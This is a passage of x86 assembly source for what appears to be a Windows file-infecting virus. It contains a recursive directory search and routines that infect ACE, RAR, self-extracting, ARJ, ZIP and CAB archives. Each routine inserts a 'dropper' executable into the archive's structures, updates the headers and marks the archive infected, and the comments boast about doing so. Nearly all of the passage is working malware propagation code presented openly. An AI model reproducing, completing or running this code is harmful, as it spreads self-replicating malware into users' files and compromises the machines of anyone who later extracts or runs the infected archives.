mov eax,[ebx-00000004h] ;input value
push dword ptr [ebx-00000008h]
add [esp],ebp ;this was ghastly bug !
call [esp] ;call function
pop eax
push word ptr [ebp+time.wSecond]
lea eax,[ebp+time] ;give time other appz
push eax
call [ebp+ddGetSystemTime]
pop cx
mov [ebp+search_table],ebx ;position in HyperTable
cmp cx,[ebp+time.wSecond] ;out of time ?
jnz init_search_error
__continue:
call __calc_in_mem ;esi=dta in memory
mov eax,[esi-size search_handle] ;handle of FindFirstFile
call __MyFindNext
jnc __repeat
call __MyFindClose
__find_dir:
call __clean ;remove file name/extension
cmp byte ptr [ebx],0FFh ;last file name ?
jnz search_all_dirs_continue
__find_dir_continue:
mov [edi],002A2E2Ah ;add '*.*',0
call __calc_in_mem
lea edx,[ebp+search_filename]
call __MyFindFirst ;search directory "only"
mov [esi-size search_handle],eax
jc __search_exit
__find_in_dir:
test [esi].dta_fileattr,10h ;is it directory ?
jz __find_next
cmp [esi].dta_filename,'.' ;it can't be directory
jz __find_next
inc byte ptr [ebp+search_plunge]
call __get_last_char ;edi=last char of filename
lea esi,[esi].dta_filename ;esi=filename
call __clean ;remove extension
@copysz ;copy directory name and
mov word ptr [edi-1],005Ch ;set '\' at the end
jmp search_all_dirs ;search in new directory
__find_next:
call __calc_in_mem
mov eax,[esi-size search_handle]
call __MyFindNext
jnc __find_in_dir
__search_exit:
call __clean ;remove file name and '\'
mov byte ptr [edi-1],00h ;it's out of directory
dec byte ptr [ebp+search_plunge]
cmp byte ptr [ebp+search_filename+2],00h
jz __searching_end
jmp __find_next
__calc_in_mem: ;get pointer to dta in memory
movzx esi,byte ptr [ebp+search_plunge]
imul esi,size dta+size search_handle
add esi,[ebp+search_address]
add esi,size search_handle
ret
__add_filename: ;add f.n. or ext by HyperTable
call __get_last_char
cmp byte ptr [ebx],00h ;only extension ?
jnz __af_fullcopy
mov eax,[ebx+1] ;load extension
mov byte ptr [edi],2Ah ;'*'
mov [edi+1],eax ;and extension
mov byte ptr [edi+5],00h ;zero byte
add ebx,HyperTable_OneSize
cmp byte ptr [ebx - \
HyperTable_HalfSize],00h;search this extension ?
jz __aff_finish
pop eax
jmp __find_dir
__aff_finish:
ret
__af_fullcopy:
inc ebx
mov al,byte ptr [ebx] ;load filename's char
mov [edi],al
inc edi
or al,al ;end of filename ?
jnz __af_fullcopy
add ebx,HyperTable_HalfSize+1;+1 means zero byte
cmp byte ptr [ebx - \
HyperTable_HalfSize],00h;search this filename ?
jz __aff_finish
pop eax
jmp __find_dir
__get_last_char: ;edi=last char+1 in filename
lea edi,[ebp+search_filename]
mov ecx,filename_size
xor al,al
cld
repnz scasb
dec edi
ret
__clean: ;clean last item in filename
lea edx,[ebp+search_filename]
call __get_last_char
__2:mov byte ptr [edi],0
dec edi
cmp byte ptr [edi],'\'
jnz __2
inc edi
ret
;ÄÄÄ´ infection in ACE/RAR and ACE/RAR EXE-SFX archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function scans input EXE file whether it is not SFX
;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English)
;If yes, I will put compressed dropper in the end of file.
;Why that ? See on "infect_ACE:" comment for more info.
;
__iSFX_fHandle dd 00000000h ;file's handle
__iSFX_fMemory dd 00000000h ;file's headers
__iSFX_nCompare dd 00000000h ;comparing places
;
infect_ACE_RAR:
; open input file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iSFX_finish
mov [ebp+__iSFX_fHandle],eax
; allocate memory for comparing
mov eax,10000h
call malloc
mov [ebp+__iSFX_fMemory],eax
; we must search certain bytes on certain file position
mov [ebp+__iSFX_nCompare],7 ;six! comparing
__iSFX_search_1:
dec [ebp+__iSFX_nCompare]
jz __iSFX_sEnd
lea ebx,[ebp+Archive_MagicWhere]
__iSFX_magic_okay:
mov eax,[ebp+__iSFX_nCompare]
imul eax,00000004h
add ebx,eax
movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read
movzx esi,word ptr [ebx-0004h] ;esi=file pos
; now, i will read datas
mov edx,[ebp+__iSFX_fMemory] ;allocated place
mov ebx,[ebp+__iSFX_fHandle]
call __MyReadFile ;i can't check error!
; prepare to scan
mov edi,[ebp+__iSFX_fMemory]
mov ebx,edi
add ebx,ecx ;end of memory buffer
__iSFX_search_2:
cmp edi,ebx
ja __iSFX_search_1
; search archive's signatures
lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic
mov ecx,RAR_Magic_Length ;and its size
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_s2_continue ;is it really RAR ?
lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic
mov ecx,ACE_Magic_Length ;and its size
__iSFX_s2_continue:
cld
rep cmpsb ;compare magics
jnz __iSFX_search_2 ;shit, we must search on other place
; position on header's start
sub edi,RAR_Magic_Length
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_h_read
sub edi,2*ACE_Magic_Length-RAR_Magic_Length
__iSFX_h_read:
; check multivolume flag
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_mf_rar
test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048
jmp __iSFX_mf_finish
__iSFX_mf_rar:
test word ptr [edi+RARFileFlags-RARSignature],0001h
__iSFX_mf_finish:
jnz __iSFX_sEnd
; call "child" functions, set certain input parameters
mov eax,[ebp+__iSFX_fHandle]
mov [ebp+__iACR_fHandle],eax ;modify handle
mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_cc_finish
mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
__iSFX_cc_finish:
mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX
call __get_archive_infected ;archive has been
jc __iSFX_fClose ;infected
call __iACR_child_function ;call main function
jmp __iSFX_finish ;to infect ACE or RAR
__iSFX_sEnd:
call __iSFX_fClose
stc
ret
__iSFX_fClose:
mov ebx,[ebp+__iSFX_fHandle]
call __MyCloseFile
__iSFX_finish:
clc
ret
;ÄÄÄ´ infection in ACE, RAR archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function infects ACE and RAR archivez. Unfortunately
;I can't my dropper place inside archive 'cause if archive
;is solid type resulting archive won't okay. Yes, this was
;shock for me. But if archive isn't solid all will be okay
;althrough this method is not support here. So, my dropper
;is compressed but in the end of file.
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... has been filled? I dont know!
;
; output: nothing
;
__iACR_fHandle dd 00000000h ;archive's handle
__iACR_dHandle dd 00000000h ;dropper's handle
__iACR_dMemory dd 00000000h ;dropper's body
;
__iACR_Type dd 00000000h ;ACE or RAR ?
__iACR_tACE equ 00h ;ACE signature
__iACR_tRAR equ 01h ;RAR signature
;
infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
jmp infect_ACR
infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
; here, common functions is starting...
infect_ACR:
; check whether dropper exists
mov eax,[ebp+__iACR_Type] ;get archive type
imul eax,size AProgram
cmp [ebp+eax+NewACE.dropper],00000000h
jz __iACR_finish ;does dropper exists ?
; open archive file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iACR_finish
mov [ebp+__iACR_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __get_archive_infected
jc __iACR_fClose
; read archive header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_1
lea edx,[ebp+ACE_h_struct] ;destination place
mov ecx,ACENeededBytes
jmp __iACR_end_1
__iACR_rar_1:
lea edx,[ebp+RARSignature] ;destination place
mov ecx,RARSignature_Length + \
RARNeededBytes ;number of bytes to read
__iACR_end_1:
xor esi,esi
mov ebx,[ebp+__iACR_fHandle]
call __MyReadFile
jc __iACR_fClose
; check archive's header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_2
cmp dword ptr [ebp+ACEhSignature],'CA**'
jnz __iACR_fClose ;the 1st part of sign
cmp word ptr [ebp+ACEhSignature+00000004h],'*E'
jnz __iACR_fClose ;the 2nd part
test word ptr [ebp+ACEhHeadFlags],2048
jnz __iACR_fClose ;multivolume flag ?
jmp __iACR_end_2
__iACR_rar_2:
cmp dword ptr [ebp+RARSignature],'!raR'
jnz __iACR_fClose
cmp word ptr [ebp+RARSignature+00000004h],071Ah
jnz __iACR_fClose
test word ptr [ebp+RARFileFlags],0001h
jnz __iACR_fClose ;multivolume flag ?
__iACR_end_2:
; open dropper file
__iACR_child_function:
mov edx,[ebp+__iACR_Type] ;get archive type
imul edx,size AProgram
mov edx,[ebp+edx+NewACE.dropper]
or edx,edx ;once again test:
jz __iACR_finish ;does dropper exists ?
call __MyOpenFile
jc __iACR_fClose
mov [ebp+__iACR_dHandle],eax
; get dropper's file size
mov ebx,[ebp+__iACR_dHandle]
call __MyGetFileSize
mov ecx,eax
; allocate memory for dropper's file body
call malloc
mov [ebp+__iACR_dMemory],eax
; read whole dropper's body
mov edx,[ebp+__iACR_dMemory];destination buffer
xor esi,esi ;file position
mov ebx,[ebp+__iACR_dHandle];dropper's handle
call __MyReadFile
jc __iACR_dClose
; get archive file size
mov ebx,[ebp+__iACR_fHandle]
call __MyGetFileSize
mov esi,eax
; "update" archive file by my dropper
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_3
movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct]
add eax,00000004h
jmp __iACR_end_3
__iACR_rar_3:
movzx eax,word ptr [edx+RARHeaderSize-RARSignature]
add eax,RARSignature_Length
__iACR_end_3:
add edx,eax ;header take away
sub ecx,eax ;without main header, please
mov ebx,[ebp+__iACR_fHandle]
call __MyWriteFile ;write my dropper, uaaah :)
; archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __set_archive_infected
__iACR_dClose:
mov ebx,[ebp+__iACR_dHandle]
call __MyCloseFile
__iACR_dealloc:
mov eax,[ebp+__iACR_dMemory]
call mdealloc
__iACR_fClose:
mov ebx,[ebp+__iACR_fHandle]
call __MyCloseFile
__iACR_finish:
ret
;ÄÄÄ´ infection in ARJ archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function infect ARJ archivez by my prepared dropper.
;Dropper is compressed by ARJ (four method without store).
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... 's been filled? I dont know!
;
; output: nothing
;
__iARJ_fHandle dd 00000000h ;archive's handle
__iARJ_fFiles dd 00000000h ;number of files
__iARJ_dHandle dd 00000000h ;dropper's handle
__iARJ_dMemory dd 00000000h ;dropper's file body
;
infect_ARJ:
xor eax,eax
mov [ebp+__iARJ_fFiles],eax
; check whether dropper exists
cmp [ebp+NewARJ.dropper],00000000h
jz __iARJ_finish
; open archive
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iARJ_finish
mov [ebp+__iARJ_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iARJ_fHandle]
call __get_archive_infected
jc __iARJ_fClose
; read archive header
lea edx,[ebp+ARJ_struct] ;destination place
mov ecx,ARJNeededBytes ;needed bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__iARJ_fHandle];file handle
call __MyReadFile
jc __iARJ_fClose
; check archive's signatures
cmp word ptr [ebp+ARJHeaderId],0EA60h
jnz __iARJ_fClose
test byte ptr [ebp+ARJFlags],04h
jnz __iARJ_fClose ;multivolume flags, I guess
; get number of files
lea edx,[ebp+ARJ_struct] ;destination place
movzx esi,word ptr [ebp+ARJHeaderSize] ;file position
add esi,0000000Ah ;add up file-off
mov ecx,ARJNeededBytes ;needed bytes to read
mov ebx,[ebp+__iARJ_fHandle];file handle
push esi ;first entry
__iARJ_search_1:
call __iARJ_next_file
jc __iARJ_sEnd_1 ;it isn't 100% error !
; next file has been found
inc [ebp+__iARJ_fFiles] ;increase files counter :)
jmp __iARJ_search_1
__iARJ_sEnd_1:
pop esi ;first entry
cmp ecx,00000004h ;end of file ?
jnz __iARJ_fClose
cmp word ptr [ebp+ARJHeaderSize],0000h
jnz __iARJ_fClose ;double security :)
; generate my new archive file position
mov eax,[ebp+__iARJ_fFiles] ;number of files
inc eax
call ppe_get_rnd_range
xchg eax,ecx ;new ECX: disable files
; read file headers which aren't neccessary for me
jecxz __iARJ_sEnd_2
__iARJ_search_2:
push ecx
call __iARJ_next_file ;disable folders
pop ecx
loop __iARJ_search_2
__iARJ_sEnd_2:
; note: ESI = my new place :)
mov edi,esi
; open dropper file
mov edx,[ebp+NewARJ.dropper]
call __MyOpenFile
jc __iARJ_fClose
mov [ebp+__iARJ_dHandle],eax
; get dropper's file size
mov ebx,[ebp+__iARJ_dHandle]
call __MyGetFileSize
mov edx,eax
; get archive's file size and subtract my new place
mov ebx,[ebp+__iARJ_fHandle]
call __MyGetFileSize
sub eax,esi ;esi = my new place
push eax ;archive's needed size
add eax,edx
push edx ;dropper's file size
; allocate memory for dropper's file body
call malloc
mov [ebp+__iARJ_dMemory],eax
; read whole dropper's file body
mov edx,[ebp+__iARJ_dMemory];destination place
pop ecx ;number of bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__iARJ_dHandle];file handle
call __MyReadFile
pop ebx ;archive's needed file size
jc __iARJ_dClose
; read "almost" whole archive file behind my dropper
add edx,ecx ;new destination place
sub edx,00000004h ;delete ending two flags
mov esi,edi ;edi = my new place
mov ecx,ebx ;number of bytes to read
mov ebx,[ebp+__iARJ_fHandle]
call __MyReadFile
jc __iARJ_dClose
; "update" archive file :)
add ecx,edx ;end of readed datas
sub ecx,[ebp+__iARJ_dMemory]
mov edx,[ebp+__iARJ_dMemory]
movzx eax,word ptr [edx+00000002h]
add eax,0000000Ah
add edx,eax
sub ecx,eax
mov ebx,[ebp+__iARJ_fHandle]
call __MyWriteFile
; archive has been infected
mov ebx,[ebp+__iARJ_fHandle]
call __set_archive_infected
__iARJ_dClose:
mov ebx,[ebp+__iARJ_dHandle]
call __MyCloseFile
__iARJ_dealloc:
mov eax,[ebp+__iARJ_dMemory]
call mdealloc
__iARJ_fClose:
mov ebx,[ebp+__iARJ_fHandle]
call __MyCloseFile
__iARJ_finish:
ret
;---------------------------------------------------------
;Set file position on the next entry
;
; input: EDX ... destination buffer
; EBX ... file handle
; ESI ... some header's place (file position)
;
; output: ESI ... next header position (if exists :)
; Cflags
;
__iARJ_next_file:
mov ecx,ARJNeededBytes ;number of bytes to read
call __MyReadFile
jc __iARJ_nf_check ;it isn't 100% error !
; set file position on the next file
movzx eax,word ptr [ebp+ARJHeaderSize]
add eax,[ebp+ARJCompressedSize]
add eax,0000000Ah ;add up file-off
add esi,eax
__iARJ_nf_check:
ret
;ÄÄÄ´ infection in ZIP archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function adds to ZIP archive certain EXE file which
;has been infected and compressed by PKZIP achiver program
;Compressing method has been selected randomly from four
;possibilities (without "store" method, of course).
;
; input: filename_ptr ... pointer to a ZIP's filename
; NewZIP struc ... has been filled? I dont know!
;
; output: nothing
;
__iZIP_fHandle dd 00000000h ;archive's file handle
__iZIP_fHeaders dd 00000000h ;archive's headers
__iZIP_fNewDPos dd 00000000h ;a. pos for d. body
__iZIP_fMemory dd 00000000h ;archive's file body
__iZIP_dHandle dd 00000000h ;dropper's file handle
__iZIP_dFSize dd 00000000h ;dropper's file size
__iZIP_dMemory dd 00000000h ;dropper's file body
__iZIP_dHSize dd 00000000h ;dropper's header s.
;
infect_ZIP:
; check whether "NewZIP" struc has been filled
cmp [ebp+NewZIP.dropper],00000000h
jz __iZIP_finish
; open archive file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iZIP_finish
mov [ebp+__iZIP_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iZIP_fHandle]
call __get_archive_infected
jc __iZIP_fClose
; get archive file size
mov ebx,[ebp+__iZIP_fHandle]
call __MyGetFileSize
mov esi,eax
; read its 3rd table
mov ecx,ZIPEHeaderSize ;number of bytes to read
lea edx,[ebp+ZIPReadBuffer] ;destination buffer
sub esi,ZIPEHeaderSize ;file pos
mov ebx,[ebp+__iZIP_fHandle];file handle
call __MyReadFile
jc __iZIP_fClose
; check that table
cmp word ptr [ebp+ZIPEHeaderId],'KP'
jnz __iZIP_fClose
cmp word ptr [ebp+ZIPSignature],0605h
jnz __iZIP_fClose
cmp dword ptr [ebp+ZIPNoDisk],00000000h
jnz __iZIP_fClose
; open dropper file
mov edx,[ebp+NewZIP.dropper]
call __MyOpenFile
jc __iZIP_fClose
mov [ebp+__iZIP_dHandle],eax
; get its file size
mov ebx,[ebp+__iZIP_dHandle]
call __MyGetFileSize
mov [ebp+__iZIP_dFSize],eax
; allocate memory
call malloc
mov [ebp+__iZIP_dMemory],eax
; read its file body
mov ecx,[ebp+__iZIP_dFSize] ;number of bytes to read
mov edx,[ebp+__iZIP_dMemory];destination buffer
xor esi,esi ;file pos
mov ebx,[ebp+__iZIP_dHandle]
call __MyReadFile
; get dropper's start of header and its length
mov esi,[ebp+__iZIP_dMemory]
add esi,[ebp+__iZIP_dFSize]
mov ecx,[esi-0000000Ah] ;length of 2nd header
sub esi,ZIPEHeaderSize ;esi = header
sub esi,ecx
mov [ebp+__iZIP_dHSize],ecx
push esi
; allocate memory for archive header + new header
mov eax,[ebp+ZIPSizeDir]
add eax,ecx
call malloc
mov [ebp+__iZIP_fHeaders],eax
; read them to the buffer
mov ecx,[ebp+ZIPSizeDir] ;number of bytes to read
add ecx,ZIPEHeaderSize ;include 3rd table as well
mov edx,eax ;destination place
mov esi,[ebp+ZIPOffsetDir] ;file pos
mov ebx,[ebp+__iZIP_fHandle]
call __MyReadFile
jc __iZIP_dealloc
; get actual files in archive
movzx ecx,word ptr [ebp+ZIPEntrysDir]
; and select my new position :)
lea eax,[ecx+00000001h]
call ppe_get_rnd_range
sub ecx,eax
push ecx
xchg eax,ecx
; get my future offset if I'll be in the end
mov eax,[ebp+ZIPOffsetDir]
not eax
mov [ebp+__iZIP_fNewDPos],eax
; seek on my new position in the headers
mov esi,[ebp+__iZIP_fHeaders]
__iZIP_search_1:
jecxz __iZIP_sEnd_1
add esi,ZIPRScanSize1 ;seek on FileNameSize
movzx eax,word ptr [esi] ; + filename length
add ax,word ptr [esi+2] ; + extra field
add esi,eax
add esi,ZIPRScanSize2 ;seek on text file folder
loop __iZIP_search_1
__iZIP_sEnd_1:
pop ecx ;how many folders change ?
push esi ;my new place for header
__iZIP_search_2:
jecxz __iZIP_sEnd_2
add esi,ZIPRScanSize1 + \
ZIPRScanSize3
test dword ptr [ebp+__iZIP_fNewDPos],0F0000000h
jz __iZIP_search_2_next
mov eax,[esi]
mov [ebp+__iZIP_fNewDPos],eax
__iZIP_search_2_next:
mov eax,[ebp+__iZIP_dFSize] ;== fbody+2nd+3rd table
sub eax,ZIPEHeaderSize ;== - 3rd table
sub eax,[ebp+__iZIP_dHSize] ;== - dropper's header size
add [esi],eax
add esi,[esi-ZIPRScanSize3] ;add FileNameSize
add esi,00000004h
loop __iZIP_search_2
__iZIP_sEnd_2:
; get number of bytes to move
mov ecx,esi
pop esi ;my new place
sub ecx,esi ;number of bytes to move
add ecx,ZIPEHeaderSize ;include last table as well
mov edi,esi ;"almost" destination
add edi,[ebp+__iZIP_dHSize] ;dropper's header length
push esi
call __movsd_back
pop edi
; copy my new table, it means: "update header", please :)
mov ecx,[ebp+__iZIP_dHSize]
pop esi ;start of dropper's header
push edi
rep movsb
pop edi
; change this copied header
add edi,ZIPRScanSize1 + ZIPRScanSize3
mov eax,[ebp+__iZIP_fNewDPos]
test eax,0F0000000h ;only if it is last "section"
jz $+4
not eax
mov [ebp+__iZIP_fNewDPos],eax
mov [edi],eax ;start of data
mov ecx,eax
; allocate memory for archive body
mov ebx,[ebp+__iZIP_fHandle]
call __MyGetFileSize
sub eax,ecx ;sub start of data
mov edx,eax
add eax,[ebp+__iZIP_dFSize]
sub eax,[ebp+__iZIP_dHSize] ;dropper's header length
sub eax,ZIPEHeaderSize ;3rd tablee
call malloc
mov [ebp+__iZIP_fMemory],eax
; read part of archive file to the memory
mov esi,ecx ;file position
mov ecx,edx ;number of bytes to read
mov edx,[ebp+__iZIP_dHSize] ;dropper's header length
neg edx ;this was fucking bug !
add edx,[ebp+__iZIP_dFSize]
sub edx,ZIPEHeaderSize ;i don't want 3rd table
mov edi,edx ;dropper's compressed body
add edx,[ebp+__iZIP_fMemory];destination place
mov ebx,[ebp+__iZIP_fHandle]
call __MyReadFile
jc __iZIP_dealloc
; copy my compressed dropper before reader data
mov edx,ecx
mov ecx,edi ;dropper's compressed body s.
mov ebx,ecx
mov esi,[ebp+__iZIP_dMemory]
mov edi,[ebp+__iZIP_fMemory]
rep movsb ;"update" archive :)
; copy my changed headers behind compressed datas
add edi,edx ;in the end of file
sub edi,[edi-0000000Ah] ;length of the 2nd table
sub edi,ZIPEHeaderSize ; - 3rd table
mov esi,[ebp+__iZIP_fHeaders]
__iZIP_replace:
cmp [esi],06054B50h ;'PK',05,06 ? Last table ?
jz __iZIP_replace_finish
lodsb
stosb
jmp __iZIP_replace
__iZIP_replace_finish:
mov ecx,ZIPEHeaderSize ;copy last table
rep movsb
; change last table
add [edi-00000006h],ebx ;archive size + dropper body
mov ecx,[ebp+__iZIP_dHSize] ;dropper's header length
add [edi-0000000Ah],ecx ;change ZIPSizeDir
inc word ptr [edi-0000000Eh];increase ZIPEntryDisk
inc word ptr [edi-0000000Ch];increase ZIPEntryDir
; "update" archive file body
mov edx,[ebp+__iZIP_fMemory]
mov ecx,edi
sub ecx,edx
mov esi,[ebp+__iZIP_fNewDPos]
mov ebx,[ebp+__iZIP_fHandle]
call __MyWriteFile
; archive has been infected
mov ebx,[ebp+__iZIP_fHandle]
call __set_archive_infected
__iZIP_dealloc:
mov eax,[ebp+__iZIP_fMemory]
call mdealloc
mov eax,[ebp+__iZIP_fHeaders]
call mdealloc
mov eax,[ebp+__iZIP_dMemory]
call mdealloc
mov ebx,[ebp+__iZIP_dHandle]
call __MyCloseFile
__iZIP_fClose:
mov ebx,[ebp+__iZIP_fHandle]
call __MyCloseFile
__iZIP_finish:
ret
;ÄÄÄ´ infection in CAB archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;---------------------------------------------------------
;This function infects Microsoft CAB archivez. The way of
;infection is the most difficult of all archivez here.Why?
;Micro$hit CAB format is too stupid, I cannot compress my
;dropper because I don't know any DLL which support this.
;Although Windows has some Extrac32 and so on. If you want
;to know more about CAB infection, download my tutorial on
;web: http://prizzy.cjb.net (download section, of course).
;
; input: filename_ptr ... pointer to a CAB's file
; NewCAB.dropper . name of EXE
;
__iCAB_fHandle dd 00000000h ;archive's handle
__iCAB_fFSize dd 00000000h ;archive's file size
__iCAB_fMemory dd 00000000h ;archive's body+hdrs
__iCAB_dHandle dd 00000000h ;dropper's handle
__iCAB_dFSize dd 00000000h ;dropper's file size
__iCAB_nChars dd 00000000h ;chars of new name
__iCAB_myFolder dd 00000000h ;my new folder
;
infect_CAB:
; check whether dropper exists
cmp [ebp+NewCAB.dropper],00000000h
jz __iCAB_finish
; open archive file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iCAB_finish
mov [ebp+__iCAB_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iCAB_fHandle]
call __get_archive_infected
jc __iCAB_fClose
; get archive file size
mov ebx,[ebp+__iCAB_fHandle]
call __MyGetFileSize
mov [ebp+__iCAB_fFSize],eax
; open dropper file
mov edx,[ebp+NewCAB.dropper]
call __MyOpenFile
jc __iCAB_fClose
mov [ebp+__iCAB_dHandle],eax
; get dropper's file size
mov ebx,[ebp+__iCAB_dHandle]
call __MyGetFileSize
mov [ebp+__iCAB_dFSize],eax
; generate dropper's name
lea edi,[ebp+CABf_FileName]
call generate_name
mov [ebp+__iCAB_nChars],eax
; allocate memory for whole file
mov eax,[ebp+__iCAB_fFSize]
add eax,[ebp+__iCAB_dFSize]
add eax,(CABe_Compr_data - CAB_directory_start) - (8+1+3)
add eax,[ebp+__iCAB_nChars]
call malloc
mov [ebp+__iCAB_fMemory],eax
; read archive's headers to buffer
mov edx,[ebp+__iCAB_fMemory]
mov ecx,[ebp+__iCAB_fFSize] ;number of bytes to read
xor esi,esi ;file position
mov ebx,[ebp+__iCAB_fHandle];file handle
call __MyReadFile
jc __iCAB_dClose
; check archive's header
mov edi,[ebp+__iCAB_fMemory]
cmp [edi],'FCSM' ;"MSCF" signature ?
jnz __iCAB_dClose
cmp word ptr [edi]. \
(CABh_VersionMin - CAB_h_struct),0103h
jnz __iCAB_dClose
; get volume number - I want only 1st volume
cmp word ptr [edi]. \
(CABh_Number - CAB_h_struct),0000h
jnz __iCAB_dClose
; set ESI on the first entry
movzx esi,word ptr [edi]. (CABh_FirstRec - CAB_h_struct)
add esi,[ebp+__iCAB_fMemory]
; modify folder's starts
push esi
movzx ebx,word ptr [edi]. (CABh_nFolders - CAB_h_struct)
__iCAB_modify:
or ebx,ebx
jz __iCAB_modified
sub esi,(CAB_file_start - CAB_directory_start)
mov eax,(CAB_entry - CAB_directory_start) - (8+1+3)
add eax,[ebp+__iCAB_nChars]
add dword ptr [esi]. \
(CABd_FirstRec - CAB_directory_start),eax
dec ebx
jmp __iCAB_modify
__iCAB_modified:
pop esi
; make place for new folder
push edi
mov edi,esi
add edi,(CAB_file_start - CAB_directory_start)
mov ecx,[ebp+__iCAB_fFSize]
add ecx,[ebp+__iCAB_fMemory]
sub ecx,esi
call __movsd_back
pop edi
; save offset - ESI=place of the new folder
add esi,00000004h
mov [ebp+__iCAB_myFolder],esi ;modify later
; get number of files and calculate my new file position
movzx eax,word ptr [edi]. (CABh_nFiles - CAB_h_struct)
push eax
call ppe_get_rnd_range
inc eax
xchg eax,edx
push edx
; modify all file structs in CAB archive
add esi,(CAB_file_start - CAB_directory_start)
push edi
mov edi,esi
__iCAB_search:
or edx,edx
jz __iCAB_searched
add edi,(CABf_FileName - CAB_file_start)
mov ecx,-1
xor al,al
repnz scasb
dec edx
jmp __iCAB_search
__iCAB_searched:
mov esi,edi
pop edi
; update file in folder
mov dx,[edi].(CABh_nFolders - CAB_h_struct)
; make place for new file struct
push edi
mov edi,esi
add edi,(CAB_entry - CAB_file_start) - (8+1+3)
add edi,[ebp+__iCAB_nChars] ;new file name length
mov ecx,[ebp+__iCAB_fFSize]
add ecx,[ebp+__iCAB_fMemory]
add ecx,(CAB_file_start - CAB_directory_start)
sub ecx,esi
call __movsd_back
; set some values to file header
mov eax,[ebp+__iCAB_dFSize] ;drropper's file size
mov word ptr [ebp+CABe_Compr],ax
mov word ptr [ebp+CABe_UnCompr],ax
mov [ebp+CABf_UnCompSize],eax
; save offset of the file struct
add esi,00000004h
mov edi,esi
lea esi,[ebp+CAB_file_start]
mov [esi].(CABf_Flags - CAB_file_start),dx
mov ecx,(CAB_entry - CAB_file_start) - (8+1+3)
add ecx,[ebp+__iCAB_nChars]
rep movsb
mov esi,edi
pop edi
; modify files - ESI=next file struct
pop edx
pop ebx
sub ebx,edx ;files to modify
push edi
mov edi,esi
__iCAB_search_2:
or ebx,ebx
jz __iCAB_searched_2
add edi,(CABf_FileName - CAB_file_start)
mov ecx,-1
xor al,al
repnz scasb
dec ebx
jmp __iCAB_search_2
__iCAB_searched_2:
pop edi
; change CAB header
inc word ptr [edi]. \ ;add new folder
(CABh_nFolders - CAB_h_struct)
inc word ptr [edi]. \ ;add new files
(CABh_nFiles - CAB_h_struct)
add dword ptr[edi]. \
(CABh_FirstRec - CAB_h_struct), \
CAB_file_start - CAB_directory_start
mov eax,[ebp+__iCAB_dFSize]
add eax,[ebp+__iCAB_nChars]
add eax,(CAB_entry - CAB_file_start) - (8+1+3)
add dword ptr[edi]. \
(CABh_FileSize - CAB_h_struct),eax
; change folder's values
mov edi,[ebp+__iCAB_myFolder]
mov eax,[ebp+__iCAB_fFSize]
add eax,(CAB_entry - CAB_directory_start) - (8+1+3)
add eax,[ebp+__iCAB_nChars]
mov [edi],eax ;offset to the 1st entry
mov word ptr [edi+4],0001h ;number of blocks
mov word ptr [edi+6],0000h ;type of compress
; create new block and copy dropper
mov edi,[ebp+__iCAB_fMemory]
add edi,[ebp+__iCAB_fFSize]
add edi,(CAB_entry - CAB_directory_start) - (8+1+3)
add edi,[ebp+__iCAB_nChars]
lea esi,[ebp+CAB_entry] ;create new block
mov ecx,(CABe_Compr_data - CAB_entry)
rep movsb
mov edx,edi ;copy my dropper
mov ecx,[ebp+__iCAB_dFSize]
xor esi,esi
mov ebx,[ebp+__iCAB_dHandle]
call __MyReadFile
jc __iCAB_dClose
; "update" headers + whole file + dropper
mov edx,[ebp+__iCAB_fMemory]
add ecx,edi
sub ecx,edx
xor esi,esi
mov ebx,[ebp+__iCAB_fHandle]
call __MyWriteFile
; archive has been infected
mov ebx,[ebp+__iCAB_fHandle]
call __set_archive_infected
__iCAB_dClose:
mov eax,[ebp+__iCAB_fMemory]
call mdealloc
mov ebx,[ebp+__iCAB_dHandle]
call __MyCloseFile
__iCAB_fClose:
mov ebx,[ebp+__iCAB_fHandle]
call __MyCloseFile
